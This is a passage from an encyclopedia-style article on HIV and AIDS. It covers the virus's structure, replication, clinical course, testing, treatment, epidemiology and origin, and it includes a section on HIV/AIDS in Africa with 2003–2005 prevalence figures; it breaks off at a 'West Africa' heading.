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          HIV is different in structure from other retroviruses. It is roughly spherical with a diameter of about 120 nm, around 60times smaller than a red blood cell, yet large for a virus. It is composed of two copies of positive single-stranded RNA that codes for the virus's nine genes enclosed by a conical capsid composed of 2,000 copies of the viral protein p24. The single-stranded RNA is tightly bound to nucleocapsid proteins, p7 and enzymes needed for the development of the virion such as reverse transcriptase, proteases, ribonuclease and integrase. A matrix composed of the viral protein p17 surrounds the capsid ensuring the integrity of the virion particle. This is, in turn, surrounded by the viral envelope which is composed of two layers of fatty molecules called phospholipids taken from the membrane of a human cell when a newly formed virus particle buds from the cell. Embedded in the viral envelope are proteins from the host cell and about 70 copies of a complex HIV protein that protrudes through the surface of the virus particle. This protein, known as Env, consists of a cap made of three molecules called glycoprotein (gp) 120, and a stem consisting of three gp41 molecules that anchor the structure into the viral envelope. This glycoprotein complex enables the virus to attach to and fuse with target cells to initiate the infectious cycle. Both these surface proteins, especially gp120, have been considered as targets of future treatments or vaccines against HIV.


          The RNA genome consists of at least 7 structural landmarks (LTR, TAR, RRE, PE, SLIP, CRS, INS) and nine genes (gag, pol, and env, tat, rev, nef, vif, vpr, vpu, and tev) encoding 19 proteins. Three of these genes, gag, pol, and env, contain information needed to make the structural proteins for new virus particles. For example, env codes for a protein called gp160 that is broken down by a viral enzyme to form gp120 and gp41. The six remaining genes, tat, rev, nef, vif, vpr, and vpu (or vpx in the case of HIV-2), are regulatory genes for proteins that control the ability of HIV to infect cells, produce new copies of virus (replicate), or cause disease. The two Tat proteins (p16 and p14) are transcriptional transactivators for the LTR promoter acting by binding the TAR RNA element. The Rev protein (p19) is involved in shuttling RNAs from the nucleus and the cytoplasm by binding to the RRE RNA element. The Vif protein (p23) prevents the action of APOBEC3G (a cell protein which deaminates DNA:RNA hybrids and/or interferes with the Pol protein). The Vpr protein (p14) arrests cell division at G2/M. The Nef protein (p27) downregulates CD4 the major viral receptor and MHC class I molecules. Nef also interacts with SH3 domains. The Vpu protein (p16) influences the release of new virus particles from infected cells. The ends of each strand of HIV RNA contain an RNA sequence called the long terminal repeat (LTR). Regions in the LTR act as switches to control production of new viruses and can be triggered by proteins from either HIV or the host cell. The Psi element is involved in viral genome packaging and recognized by Gag and Rev proteins. The SLIP element (TTTTTT) is involved in the frameshift in the Gag-Pol reading frame required to make functional Pol.


          


          Tropism


          The term viral tropism refers to which cell types HIV infects. HIV can infect a variety of immune cells such as CD4+ T cells, macrophages, and microglial cells. HIV-1 entry to macrophages and CD4+ T cells is mediated through interaction of the virion envelope glycoproteins (gp120) with the CD4 molecule on the target cells and also with chemokine coreceptors.


          Macrophage (M-tropic) strains of HIV-1, or non- syncitia-inducing strains (NSI) use the -chemokine receptor CCR5 for entry and are thus able to replicate in macrophages and CD4+ T cells. This CCR5 coreceptor is used by almost all primary HIV-1 isolates regardless of viral genetic subtype. Indeed, macrophages play a key role in several critical aspects of HIV infection. They appear to be the first cells infected by HIV and perhaps the source of HIV production when CD4+ cells become depleted in the patient. Macrophages and microglial cells are the cells infected by HIV in the central nervous system. In tonsils and adenoids of HIV-infected patients, macrophages fuse into multinucleated giant cells that produce huge amounts of virus.


          T-tropic isolates, or syncitia-inducing (SI) strains replicate in primary CD4+ T cells as well as in macrophages and use the -chemokine receptor, CXCR4, for entry. Dual-tropic HIV-1 strains are thought to be transitional strains of the HIV-1 virus and thus are able to use both CCR5 and CXCR4 as co-receptors for viral entry.


          The -chemokine, SDF-1, a ligand for CXCR4, suppresses replication of T-tropic HIV-1 isolates. It does this by down-regulating the expression of CXCR4 on the surface of these cells. HIV that use only the CCR5 receptor are termed R5, those that only use CXCR4 are termed X4, and those that use both, X4R5. However, the use of coreceptor alone does not explain viral tropism, as not all R5 viruses are able to use CCR5 on macrophages for a productive infection and HIV can also infect a subtype of myeloid dendritic cells, which probably constitute a reservoir that maintains infection when CD4+ T cell numbers have declined to extremely low levels.


          Some people are resistant to certain strains of HIV. One example of how this occurs is people with the CCR5-32 mutation; these people are resistant to infection with R5 virus as the mutation stops HIV from binding to this coreceptor, reducing its ability to infect target cells.


          Sexual intercourse is the major mode of HIV transmission. Both X4 and R5 HIV are present in the seminal fluid which is passed from a male to his sexual partner. The virions can then infect numerous cellular targets and disseminate into the whole organism. However, a selection process leads to a predominant transmission of the R5 virus through this pathway. How this selective process works is still under investigation, but one model is that spermatozoa may selectively carry R5 HIV as they possess both CCR3 and CCR5 but not CXCR4 on their surface and that genital epithelial cells preferentially sequester X4 virus. In patients infected with subtype B HIV-1, there is often a co-receptor switch in late-stage disease and T-tropic variants appear that can infect a variety of T cells through CXCR4. These variants then replicate more aggressively with heightened virulence that causes rapid T cell depletion, immune system collapse, and opportunistic infections that mark the advent of AIDS. Thus, during the course of infection, viral adaptation to the use of CXCR4 instead of CCR5 may be a key step in the progression to AIDS. A number of studies with subtype B-infected individuals have determined that between 40 and 50% of AIDS patients can harbour viruses of the SI, and presumably the X4, phenotype.


          


          Replication cycle
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          Entry to the cell


          HIV enters macrophages and CD4+ T cells by the adsorption of glycoproteins on its surface to receptors on the target cell followed by fusion of the viral envelope with the cell membrane and the release of the HIV capsid into the cell.


          Entry to the cell begins through interaction of the trimeric envelope complex ( gp160 spike) and both CD4 and a chemokine receptor (generally either CCR5 or CXCR4, but others are known to interact) on the cell surface. gp120 binds to integrin 47 activating LFA-1 the central integrin involved in the establishment of virological synapses, which facilitate efficient cell-to-cell spreading of HIV-1. The gp160 spike contains binding domains for both CD4 and chemokine receptors. The first step in fusion involves the high-affinity attachment of the CD4 binding domains of gp120 to CD4. Once gp120 is bound with the CD4 protein, the envelope complex undergoes a structural change, exposing the chemokine binding domains of gp120 and allowing them to interact with the target chemokine receptor. This allows for a more stable two-pronged attachment, which allows the N-terminal fusion peptide gp41 to penetrate the cell membrane. Repeat sequences in gp41, HR1 and HR2 then interact, causing the collapse of the extracellular portion of gp41 into a hairpin. This loop structure brings the virus and cell membranes close together, allowing fusion of the membranes and subsequent entry of the viral capsid.


          Once HIV has bound to the target cell, the HIV RNA and various enzymes, including reverse transcriptase, integrase, ribonuclease and protease, are injected into the cell. During the microtubule based transport to the nucleus, the viral single strand RNA genome is transcribed into double strand DNA, which is then integrated into a host chromosome.


          HIV can infect dendritic cells (DCs) by this CD4-CCR5 route, but another route using mannose-specific C-type lectin receptors such as DC-SIGN can also be used. DCs are one of the first cells encountered by the virus during sexual transmission. They are currently thought to play an important role by transmitting HIV to T cells once the virus has been captured in the mucosa by DCs.


          


          Replication and transcription


          Once the viral capsid enters the cell, an enzyme called reverse transcriptase liberates the single-stranded (+) RNA from the attached viral proteins and copies it into a complementary DNA. This process of reverse transcription is extremely error-prone and it is during this step that mutations may occur. Such mutations may cause drug resistance. The reverse transcriptase then makes a complementary DNA strand to form a double-stranded viral DNA intermediate (vDNA). This vDNA is then transported into the cell nucleus. The integration of the viral DNA into the host cell's genome is carried out by another viral enzyme called integrase.
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          This integrated viral DNA may then lie dormant, in the latent stage of HIV infection. To actively produce the virus, certain cellular transcription factors need to be present, the most important of which is NF-B (NF kappa B), which is upregulated when T cells become activated. This means that those cells most likely to be killed by HIV are those currently fighting infection.


          In this replication process, the integrated provirus is copied to mRNA which is then spliced into smaller pieces. These small pieces produce the regulatory proteins Tat (which encourages new virus production) and Rev. As Rev accumulates it gradually starts to inhibit mRNA splicing. At this stage, the structural proteins Gag and Env are produced from the full-length mRNA. The full-length RNA is actually the virus genome; it binds to the Gag protein and is packaged into new virus particles.


          HIV-1 and HIV-2 appear to package their RNA differently; HIV-1 will bind to any appropriate RNA whereas HIV-2 will preferentially bind to the mRNA which was used to create the Gag protein itself. This may mean that HIV-1 is better able to mutate (HIV-1 infection progresses to AIDS faster than HIV-2 infection and is responsible for the majority of global infections).


          


          Assembly and release


          The final step of the viral cycle, assembly of new HIV-1 virons, begins at the plasma membrane of the host cell. The Env polyprotein (gp160) goes through the endoplasmic reticulum and is transported to the Golgi complex where it is cleaved by protease and processed into the two HIV envelope glycoproteins gp41 and gp120. These are transported to the plasma membrane of the host cell where gp41 anchors the gp120 to the membrane of the infected cell. The Gag (p55) and Gag-Pol (p160) polyproteins also associate with the inner surface of the plasma membrane along with the HIV genomic RNA as the forming virion begins to bud from the host cell. Maturation either occurs in the forming bud or in the immature virion after it buds from the host cell. During maturation, HIV proteases cleave the polyproteins into individual functional HIV proteins and enzymes. The various structural components then assemble to produce a mature HIV virion. This cleavage step can be inhibited by protease inhibitors. The mature virus is then able to infect another cell.


          


          Genetic variability
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          HIV differs from many viruses in that it has very high genetic variability. This diversity is a result of its fast replication cycle, with the generation of 109 to 1010 virions every day, coupled with a high mutation rate of approximately 3 x 10-5 per nucleotide base per cycle of replication and recombinogenic properties of reverse transcriptase. This complex scenario leads to the generation of many variants of HIV in a single infected patient in the course of one day. This variability is compounded when a single cell is simultaneously infected by two or more different strains of HIV. When simultaneous infection occurs, the genome of progeny virions may be composed of RNA strands from two different strains. This hybrid virion then infects a new cell where it undergoes replication. As this happens, the reverse transcriptase, by jumping back and forth between the two different RNA templates, will generate a newly synthesized retroviral DNA sequence that is a recombinant between the two parental genomes. This recombination is most obvious when it occurs between subtypes.


          The closely related simian immunodeficiency virus (SIV) exhibits a somewhat different behaviour: in its natural hosts, African green monkeys and sooty mangabeys, the retrovirus is present in high levels in the blood, but evokes only a mild immune response, does not cause the development of simian AIDS, and does not undergo the extensive mutation and recombination typical of HIV. By contrast, infection of heterologous hosts (rhesus or cynomologus macaques) with SIV results in the generation of genetic diversity that is on the same order as HIV in infected humans; these heterologous hosts also develop simian AIDS. The relationship, if any, between genetic diversification, immune response, and disease progression is unknown.


          Three groups of HIV-1 have been identified on the basis of differences in env: M, N, and O. Group M is the most prevalent and is subdivided into eight subtypes (or clades), based on the whole genome, which are geographically distinct. The most prevalent are subtypes B (found mainly in North America and Europe), A and D (found mainly in Africa), and C (found mainly in Africa and Asia); these subtypes form branches in the phylogenetic tree representing the lineage of the M group of HIV-1. Coinfection with distinct subtypes gives rise to circulating recombinant forms (CRFs). In 2000, the last year in which an analysis of global subtype prevalence was made, 47.2% of infections worldwide were of subtype C, 26.7% were of subtype A/CRF02_AG, 12.3% were of subtype B, 5.3% were of subtype D, 3.2% were of CRF_AE, and the remaining 5.3% were composed of other subtypes and CRFs. Most HIV-1 research is focused on subtype B; few laboratories focus on the other subtypes.


          The genetic sequence of HIV-2 is only partially homologous to HIV-1 and more closely resembles that of SIV than HIV-1.


          


          The clinical course of infection
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          Infection with HIV-1 is associated with a progressive decrease of the CD4+ T cell count and an increase in viral load. The stage of infection can be determined by measuring the patient's CD4+ T cell count, and the level of HIV in the blood.


          HIV infection has basically four stages: incubation period, acute infection, latency stage and AIDS. The initial incubation period upon infection is asymptomatic and usually lasts between two and four weeks. The second stage, acute infection, which lasts an average of 28 days and can include symptoms such as fever, lymphadenopathy(swollen lymph nodes), pharyngitis(sore throat), rash, myalgia(muscle pain), malaise, and mouth and esophageal sores. The latency stage, which occurs third, shows few or no symptoms and can last anywhere from two weeks to twenty years and beyond. AIDS, the fourth and final stage of HIV infection shows as symptoms of various opportunistic infections.


          


          Acute HIV infection


          The initial infection with HIV generally occurs after transfer of body fluids from an infected person to an uninfected one. The first stage of infection, the primary, or acute infection, is a period of rapid viral replication that immediately follows the individual's exposure to HIV leading to an abundance of virus in the peripheral blood with levels of HIV commonly approaching several million viruses permL. This response is accompanied by a marked drop in the numbers of circulating CD4+ T cells. This acute viremia is associated in virtually all patients with the activation of CD8+ T cells, which kill HIV-infected cells, and subsequently with antibody production, or seroconversion. The CD8+ T cell response is thought to be important in controlling virus levels, which peak and then decline, as the CD4+ T cell counts rebound to around 800 cells permL (the normal blood value is 1200 cells permL ). A good CD8+ T cell response has been linked to slower disease progression and a better prognosis, though it does not eliminate the virus. During this period (usually 2-4 weeks post-exposure) most individuals (80 to 90%) develop an influenza or mononucleosis-like illness called acute HIV infection, the most common symptoms of which may include fever, lymphadenopathy, pharyngitis, rash, myalgia, malaise, mouth and esophagal sores, and may also include, but less commonly, headache, nausea and vomiting, enlarged liver/spleen, weight loss, thrush, and neurological symptoms. Infected individuals may experience all, some, or none of these symptoms. The duration of symptoms varies, averaging 28 days and usually lasting at least a week. Because of the nonspecific nature of these symptoms, they are often not recognized as signs of HIV infection. Even if patients go to their doctors or a hospital, they will often be misdiagnosed as having one of the more common infectious diseases with the same symptoms. Consequently, these primary symptoms are not used to diagnose HIV infection as they do not develop in all cases and because many are caused by other more common diseases. However, recognizing the syndrome can be important because the patient is much more infectious during this period.


          


          Latency stage


          A strong immune defense reduces the number of viral particles in the blood stream, marking the start of the infection's clinical latency stage. Clinical latency can vary between two weeks and 20 years. During this early phase of infection, HIV is active within lymphoid organs, where large amounts of virus become trapped in the follicular dendritic cells (FDC) network. The surrounding tissues that are rich in CD4+ T cells may also become infected, and viral particles accumulate both in infected cells and as free virus. Individuals who are in this phase are still infectious. During this time, CD4+ CD45RO+ T cells carry most of the proviral load.


          


          AIDS


          When CD4+ T cell numbers decline below a critical level, cell-mediated immunity is lost, and infections with a variety of opportunistic microbes appear. The first symptoms often include moderate and unexplained weight loss, recurring respiratory tract infections (such as sinusitis, bronchitis, otitis media, pharyngitis), prostatitis, skin rashes, and oral ulcerations. Common opportunistic infections and tumors, most of which are normally controlled by robust CD4+ T cell-mediated immunity then start to affect the patient. Typically, resistance is lost early on to oral Candida species and to Mycobacterium tuberculosis, which leads to an increased susceptibility to oral candidiasis (thrush) and tuberculosis. Later, reactivation of latent herpes viruses may cause worsening recurrences of herpes simplex eruptions, shingles, Epstein-Barr virus-induced B-cell lymphomas, or Kaposi's sarcoma, a tumor of endothelial cells that occurs when HIV proteins such as Tat interact with Human Herpesvirus-8. Pneumonia caused by the fungus Pneumocystis jirovecii is common and often fatal. In the final stages of AIDS, infection with cytomegalovirus (another herpes virus) or Mycobacterium avium complex is more prominent. Not all patients with AIDS get all these infections or tumors, and there are other tumors and infections that are less prominent but still significant.


          


          HIV test


          Many HIV-positive people are unaware that they are infected with the virus. For example, less than 1% of the sexually active urban population in Africa have been tested and this proportion is even lower in rural populations. Furthermore, only 0.5% of pregnant women attending urban health facilities are counselled, tested or receive their test results. Again, this proportion is even lower in rural health facilities. Since donors may therefore be unaware of their infection, donor blood and blood products used in medicine and medical research are routinely screened for HIV.


          HIV-1 testing consists of initial screening with an enzyme-linked immunosorbent assay (ELISA) to detect antibodies to HIV-1. Specimens with a nonreactive result from the initial ELISA are considered HIV-negative unless new exposure to an infected partner or partner of unknown HIV status has occurred. Specimens with a reactive ELISA result are retested in duplicate. If the result of either duplicate test is reactive, the specimen is reported as repeatedly reactive and undergoes confirmatory testing with a more specific supplemental test (e.g., Western blot or, less commonly, an immunofluorescence assay (IFA)). Only specimens that are repeatedly reactive by ELISA and positive by IFA or reactive by Western blot are considered HIV-positive and indicative of HIV infection. Specimens that are repeatedly ELISA-reactive occasionally provide an indeterminate Western blot result, which may be either an incomplete antibody response to HIV in an infected person, or nonspecific reactions in an uninfected person. Although IFA can be used to confirm infection in these ambiguous cases, this assay is not widely used. Generally, a second specimen should be collected more than a month later and retested for persons with indeterminate Western blot results. Although much less commonly available, nucleic acid testing (e.g., viral RNA or proviral DNA amplification method) can also help diagnosis in certain situations. In addition, a few tested specimens might provide inconclusive results because of a low quantity specimen. In these situations, a second specimen is collected and tested for HIV infection.


          


          Treatment
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          There is currently no vaccine or cure for HIV or AIDS. The only known method of prevention is avoiding exposure to the virus. However, a course of antiretroviral treatment administered immediately after exposure, referred to as post-exposure prophylaxis, is believed to reduce the risk of infection if begun as quickly as possible . Current treatment for HIV infection consists of highly active antiretroviral therapy, or HAART. This has been highly beneficial to many HIV-infected individuals since its introduction in 1996, when the protease inhibitor-based HAART initially became available. Current HAART options are combinations (or "cocktails") consisting of at least three drugs belonging to at least two types, or "classes," of antiretroviral agents. Typically, these classes are two nucleoside analogue reverse transcriptase inhibitors (NARTIs or NRTIs) plus either a protease inhibitor or a non-nucleoside reverse transcriptase inhibitor (NNRTI). New classes of drugs such as Entry Inhibitors provide treatment options for patients who are infected with viruses already resistant to common therapies, although they are not widely available and not typically accessible in resource-limited settings. Because AIDS progression in children is more rapid and less predictable than in adults, particularly in young infants, more aggressive treatment is recommended for children than adults. In developed countries where HAART is available, doctors assess their patients thoroughly: measuring the viral load, how fast CD4 declines, and patient readiness. They then decide when to recommend starting treatment.


          HAART neither cures the patient nor does it uniformly remove all symptoms; high levels of HIV-1, often HAART resistant, return if treatment is stopped. Moreover, it would take more than a lifetime for HIV infection to be cleared using HAART. Despite this, many HIV-infected individuals have experienced remarkable improvements in their general health and quality of life, which has led to a large reduction in HIV-associated morbidity and mortality in the developed world. One study suggests the average life expectancy of an HIV infected individual is 32 years from the time of infection if treatment is started when the CD4 count is 350/L. The study predicting this was, however, limited as it did not take into account possible future treatments and the projection has not been confirmed within a clinical cohort setting. In the absence of HAART, progression from HIV infection to AIDS has been observed to occur at a median of between nine to ten years and the median survival time after developing AIDS is only 9.2 months. However, HAART sometimes achieves far less than optimal results, in some circumstances being effective in less than fifty percent of patients. This is due to a variety of reasons such as medication intolerance/side effects, prior ineffective antiretroviral therapy and infection with a drug-resistant strain of HIV. However, non-adherence and non-persistence with antiretroviral therapy is the major reason most individuals fail to benefit from HAART. The reasons for non-adherence and non-persistence with HAART are varied and overlapping. Major psychosocial issues, such as poor access to medical care, inadequate social supports, psychiatric disease and drug abuse contribute to non-adherence. The complexity of these HAART regimens, whether due to pill number, dosing frequency, meal restrictions or other issues along with side effects that create intentional non-adherence also contribute to this problem. The side effects include lipodystrophy, dyslipidemia, insulin resistance, an increase in cardiovascular risks and birth defects.


          The timing for starting HIV treatment is still debated. There is no question that treatment should be started before the patient's CD4 count falls below 200, and most national guidelines say to start treatment once the CD4 count falls below 350; but there is some evidence from cohort studies that treatment should be started before the CD4 count falls below 350. In those countries where CD4 counts are not available, patients with WHO stage III or IV disease should be offered treatment.


          Anti-retroviral drugs are expensive, and the majority of the world's infected individuals do not have access to medications and treatments for HIV and AIDS. Research to improve current treatments includes decreasing side effects of current drugs, further simplifying drug regimens to improve adherence, and determining the best sequence of regimens to manage drug resistance. Unfortunately, only a vaccine is thought to be able to halt the pandemic. This is because a vaccine would cost less, thus being affordable for developing countries, and would not require daily treatment. However, after over 20 years of research, HIV-1 remains a difficult target for a vaccine.


          Promising new treatments include Cre recombinase and the enzyme Tre recombinase, both of which are able to remove HIV from an infected cell. These enzymes promise a treatment in which a patient's stem cells are extracted, cured, and reinjected to promulgate the enzyme into the body. The carried enzyme then finds and removes the virus.


          


          Epidemiology
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          UNAIDS and the WHO estimate that AIDS has killed more than 25million people since it was first recognized in 1981, making it one of the most destructive pandemics in recorded history. Despite recent improved access to antiretroviral treatment and care in many regions of the world, the AIDS pandemic claimed an estimated 2.8million (between 2.4 and 3.3million) lives in 2005 of which more than half amillion (570,000) were children.


          Globally, between 33.4 and 46million people currently live with HIV. In 2005, between 3.4 and 6.2million people were newly infected and between 2.4 and 3.3million people with AIDS died, an increase from 2004 and the highest number since 1981.


          Sub-Saharan Africa remains by far the worst-affected region, with an estimated 21.6 to 27.4million people currently living with HIV. Twomillion [1.53.0million] of them are children younger than 15 years of age. More than 64% of all people living with HIV are in sub-Saharan Africa, as are more than three quarters of all women living with HIV. In 2005, there were 12.0million [10.613.6million] AIDS orphans living in sub-Saharan Africa 2005. South & South East Asia are second-worst affected with 15% of the total. AIDS accounts for the deaths of 500,000 children in this region. South Africa has the largest number of HIV patients in the world followed by Nigeria. India has an estimated 2.5 million infections (0.23% of population), making India the country with the third largest population of HIV patients. In the 35 African nations with the highest prevalence, average life expectancy is 48.3 years6.5 years less than it would be without the disease.


          The latest evaluation report of the World Bank's Operations Evaluation Department assesses the development effectiveness of the World Bank's country-level HIV/AIDS assistance defined as policy dialogue, analytic work, and lending with the explicit objective of reducing the scope or impact of the AIDS epidemic. This is the first comprehensive evaluation of the World Bank's HIV/AIDS support to countries, from the beginning of the epidemic through mid-2004. Because the Bank aims to assist in implementation of national government programmes, their experience provides important insights on how national AIDS programmes can be made more effective.


          The development of HAART as effective therapy for HIV infection and AIDS has substantially reduced the death rate from this disease in those areas where these drugs are widely available. This has created the misperception that the disease has vanished. In fact, as the life expectancy of persons with AIDS has increased in countries where HAART is widely used, the number of persons living with AIDS has increased substantially. In the United States, the number of persons with AIDS increased from about 35,000 in 1988 to over 220,000 in 1996 and 312,000 in 2002


          In Africa, the number of MTCT and the prevalence of AIDS is beginning to reverse decades of steady progress in child survival. Countries such as Uganda are attempting to curb the MTCT epidemic by offering VCT (voluntary counselling and testing), PMTCT (prevention of mother-to-child transmission) and ANC (ante-natal care) services, which include the distribution of antiretroviral therapy.


          


          History


          


          Origin


          HIV is thought to have originated in non-human primates in sub-Saharan Africa and transferred to humans during the 20th century. The epidemic officially began on 5 June 1981.


          Two species of HIV infect humans: HIV-1 and HIV-2. Both species of the virus are believed to have originated in West-Central Africa and jumped species ( zoonosis) from a non-human primate to humans.


          HIV-1 is thought to have originated in southern Cameroon after jumping from wild chimpanzees (Pan troglodytes troglodytes) to humans during the twentieth century. It evolved from a Simian Immunodeficiency Virus (SIVcpz)


          HIV-2, on the other hand, may have originated from the Sooty Mangabey (Cercocebus atys), an Old World monkey of Guinea-Bissau, Gabon, and Cameroon.


          


          Early history


          


          AIDS denialism


          Individuals, including several scientists who are not recognized experts on HIV, question the connection between HIV and AIDS, the existence of HIV itself, or the validity of current testing and treatment methods. These claims have been examined and rejected as having no validity, although they have had a political impact, particularly in South Africa, where governmental acceptance of AIDS denialism has been blamed for an ineffective response to that country's AIDS epidemic.
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        HIV/AIDS in Africa


        
          

          The HIV/AIDS epidemics spreading through the countries of Sub-saharan Africa are highly varied. Although it is not correct to speak of a single African epidemic, Africa is without doubt the region most affected by the virus. Inhabited by just over 12% of the world's population, Africa is estimated to have more than 60% of the AIDS-infected population. Much of the deadliness of the epidemic in Sub-Saharan Africa has to do with a deadly synergy between HIV and Tuberculosis. In fact, Tuberculosis is the world's greatest infectious killer of women of reproductive age and the leading cause of death among people with HIV/AIDS.


          
            
              	World region

              	Adult HIV prevalence

              (ages 1549)

              	Total HIV

              cases

              	AIDS deaths

              in 2005
            


            
              	Sub-Saharan Africa

              	6.1%

              	24.5m

              	2.0m
            


            
              	Worldwide

              	1.0%

              	38.6m

              	2.8m
            


            
              	North America

              	0.11%

              	1.3m

              	27,000
            


            
              	Western Europe

              	0.3%

              	5.8m

              	12,000
            


            
              	Regional comparisons of HIV in 2005 (Source: UNAIDS, 2006 Report on the global AIDS epidemic)
            

          


          In Southern Africa, several factors contribute to the spread of the HIV virus. For one, a stigma is attached to admitting to HIV infection and to using condoms. For another, many deny that the HIV virus causes AIDS: Thabo Mbeki and Robert Mugabe have both suggested AIDS stems from poverty rather than HIV infection. And finally, many myths are attached to the use of condoms, such as the ideas that a conspiracy wants to limit the growth of the African population and that condoms stifle the traditional power of the man in his community.


          In the 35 African nations with the highest prevalence, average life expectancy is 48.3 years6.5 years less than it would be without the disease. For the eleven countries in Africa with prevalence rates above 13%, life expectancy is 47.7 years11.0 years less than would be expected without HIV/AIDS.


          Although many governments in sub-Saharan Africa denied that there was a problem for years, they have now begun to work toward solutions.


          Health spending in Africa has never been adequate, either before or after independence. The health care systems inherited from colonial powers were oriented toward curative treatment rather than preventative programs. Strong prevention programs are the cornerstone of effective national responses to AIDS, and the required changes in the health sector have presented huge challenges.


          Lack of money is an obvious challenge, although a great deal of aid is distributed throughout developing countries with high HIV/AIDS rates. Response to the epidemic is also hampered by lack of infrastructure, corruption within both donor agencies and government agencies, foreign donors not coordinating with local government and misguided resources.
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          The Joint United Nations Programme on HIV/AIDS (UNAIDS) has predicted outcomes for the region to the year 2025. These range from a plateau and eventual decline in deaths beginning around 2012 to a catastrophic continual growth in the death rate with potentially 90 million cases of infection.


          Without the kind of nutrition, health care and medicines (such as anti-retrovirals) that are available in developed countries, large numbers of people in Africa will develop full-blown AIDS. They will not only be unable to work, but will also require significant medical care. This will likely cause a collapse of economies and societies. In all of the severely affected countries, the epidemic has left behind many orphans, who are either cared for by extended family members, or must live in orphanages or on the streets. UNAIDS, WHO and UNDP have already documented decreasing life expectancies and lowering of GNP in many African countries with prevalence rates of 10% or more.


          A minority of scientists claim that as many as 40% of HIV infections in African adults may be caused by unsafe medical practices rather than by sexual activity. . The World Health Organization states that 2.5% of infections are caused by unsafe medical injection practices and all the others by unprotected sex. .


          


          Access to treatment


          
            	"Treatment is technically feasible in every part of the world. Even the lack of infrastructure is not an excuseI don't know a single place in the world where the real reason AIDS treatment is unavailable is that the health infrastructure has exhausted its capacity to deliver it. It's not knowledge that's the barrier. It's political will." Peter Piot, Executive Director of UNAIDS

          


          New anti-retroviral drugs (ARVs) can slow down and even reverse the progression of HIV infection, delaying the onset of AIDS by twenty years or more. Because of their high cost ($10,000 to $15,000 USD per person per year (pppy) in the West for patent drugs and approximately $800 USD pppy in some African countries for generic drugs), only a few of the 6 million people in developing countries who need ARV treatment have access to medication. Nevertheless, access to ARV therapy has increased more than eightfold since the end of 2003, with about 810,000 people (13.5 per cent of the 6 million in need) on the treatment.


          ARVs play a central role in prevention as well. When treatments are known to be available, people are more likely to come forward for testing and well as more likely to adopt lower risk behaviours. ARVs also reduce the amount of the HIV virus in the blood, thus reducing the risk of further transmission.


          Patients who start HIV treatment generally have to continue taking medications for the rest of their lives. In areas where drug therapy is expensive, some people must interrupt their treatment when they were unable to afford medication. Drug-resistant strains of HIV have been observed in such areas.


          The key factor in the expense of ARVs is their patent status, which allows drug companies to recoup research costs and turn a profit, enabling the development of new drugs. International aid organisations such as VSO, Oxfam and Mdecins Sans Frontires have questioned whether the revenues generated by ARVs really tally with research costs.


          Generic copies of patented ARV drugs are supplied by drug manufacturers in India, South Africa, Brazil, Thailand, and the People's Republic of China. Because fees are not paid to the patent holders, the drugs can be distributed at low prices in developing countries. Generic production competition and 'price offers' (voluntary donations by companies) have forced patent holders to reduce their prices.


          ARV patients need regular testing of viral load and CD4 cell count. This requires expensive laboratory equipment and good healthcare logistics. These costs drive the price of generic ARV therapy in African countries up from under $140 USD pppy for the drugs alone to approximately $800 USD pppy when done according to Western standards.


          For many Africans, living below the poverty threshold of a $2 USD / day, free (government or NGO-funded) treatment remains the only option.


          The World Health Organisation's 3 by 5 initiative aimed to provide three million people with ARV treatment by the end of 2005. International aid organisations have lobbied for an expansion of generic production in developing countries, for immediate short term and stable, predictable long term financing of the 3 by 5 initiative.


          The United States AIDS initiative, PEPFAR, is focusing two thirds of its resources on AIDS in Africa. Starting in 2004, expenditures rose from $2.3B world-wide to $3.3B in 2006. A funding level of $4B was requested for 2007.


          The DREAM ("Drug Resources Enhancement against AIDS and Malnutrition", formerly "Drug Resource Enhancement against AIDS in Mozambique") initiative promoted by the Community of Sant'Egidio has given access to free ARV treatment with generic HAART drugs to the poor on a large scale. So far, 5,000 people are receiving ARV treatment, especially in Mozambique, but the program is also being built up in Malawi, Guinea, Tanzania and other countries. The program includes regular blood testing according to European standards. It is linked with nutrition and sanitation programs run by volunteers. The compliance rate is 94 per cent.
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          Regional analysis


          


          East-central Africa


          In this article, East and central Africa consists of Uganda, Kenya, Tanzania, Democratic Republic of Congo, the Congo Republic, Gabon, Equatorial Guinea, the Central African Republic, Rwanda, Burundi and Ethiopia and Eritrea on the Horn of Africa. In 1982, Uganda was the first state in the region to declare HIV cases. This was followed by Kenya in 1984 and Tanzania in 1985.


          
            
              	
                
                  
                    	Country

                    	Adult prevalence

                    	Total HIV

                    	Deaths 2003
                  


                  
                    	Tanzania

                    	8.8%

                    	1,500,000

                    	160,000
                  


                  
                    	Kenya

                    	6.7%

                    	1,100,000

                    	150,000
                  


                  
                    	Congo

                    	4.9%

                    	80,000

                    	9,700
                  


                  
                    	Ethiopia

                    	4.4%*

                    	1,400,000

                    	120,000
                  


                  
                    	Congo DR

                    	4.2%

                    	1,000,000

                    	100,000
                  


                  
                    	Uganda

                    	4.1%

                    	450,000

                    	78,000
                  


                  
                    	Eritrea

                    	2.7%

                    	55,000

                    	6,300
                  

                

              
            


            
              	
                HIV in East-central Africa (Source: UNAIDS)


                * A 2005 survey by the Central Statistical Agency of Ethiopia showed that Adult (ages 15-49) prevalence was only 1.4%, with prevalence among women at 1.9% and among men at 0.9%.

              
            

          


          Some areas of East Africa are beginning to show substantial declines in the prevalence of HIV infection. In the early 1990s, 13% of Ugandan residents were HIV positive; This has now fallen to 4.1% by the end of 2003. Evidence may suggest that the tide may also be turning in Kenya: prevalence fell from 13.6% in 19971998 to 9.4% in 2002. Data from Ethiopia and Burundi are also hopeful. HIV prevalence levels still remain high, however, and it is too early to claim that these are permanent reversals in these countries' epidemics.


          Most governments in the region established AIDS education programmes in the mid-1980s in partnership with the World Health Organization and international NGOs. These programmes commonly taught the 'ABC' of HIV prevention: a combination of abstinence (A), fidelity to your partner (Be faithful) and condom use (C). The efforts of these educational campaigns appear now to be bearing fruit. In Uganda, awareness of AIDS is demonstrated to be over 99% and more than three in five Ugandans can cite two or more preventative practices. Youths are also delaying the age at which sexual intercourse first occurs.


          There are no non-human vectors of HIV infection. The spread of the epidemic across this region is closely linked to the migration of labour from rural areas to urban centres, which generally have a higher prevalence of HIV. Labourers commonly picked up HIV in the towns and cities, spreading it to the countryside when they visited their home. Empirical evidence brings into sharp relief the connection between road and rail networks and the spread of HIV. Long distance truck drivers have been identified as a group with the high-risk behaviour of sleeping with prostitutes and a tendency to spread the infection along trade routes in the region. Infection rates of up to 33% were observed in this group in the late 1980s in Uganda, Kenya and Tanzania.


          


          West Africa


